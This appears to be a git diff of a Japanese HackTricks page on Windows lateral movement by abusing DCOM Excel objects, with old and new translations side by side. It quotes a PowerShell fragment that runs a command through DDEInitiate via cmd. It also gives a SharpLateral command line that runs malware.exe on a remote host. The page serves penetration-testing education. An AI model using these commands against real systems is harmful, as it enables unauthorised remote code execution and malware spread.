DCOM Excelオブジェクトを悪用することで、横方向の移動が可能です。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でDCOMを介したExcel DDEの利用に関する議論を読むことをお勧めします。
|
||||
DCOM Excelオブジェクトを悪用することで、横方向移動を実現することができます。詳細な情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でExcel DDEを介したDCOM経由の横方向移動を活用する議論を読むことをお勧めします。
|
||||
|
||||
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行(RCE)を実証するPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)で利用可能なスクリプトからのスニペットで、ExcelをRCEに悪用するための異なる方法を示しています:
|
||||
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行(RCE)を実証するPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)で利用可能なスクリプトからのスニペットです:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -102,13 +102,13 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
|
||||
- **Invoke-DCOM.ps1**: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。
|
||||
|
||||
- **SharpLateral**: コードをリモートで実行するために設計されたツールで、次のコマンドと共に使用できます:
|
||||
- **SharpLateral**: リモートでコードを実行するために設計されたツールで、次のコマンドと共に使用できます:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## 自動ツール
|
||||
|
||||
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント済み方法を簡単に呼び出すことができます。
|
||||
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。
|
||||
* [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
|
@ -120,20 +120,20 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**する
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue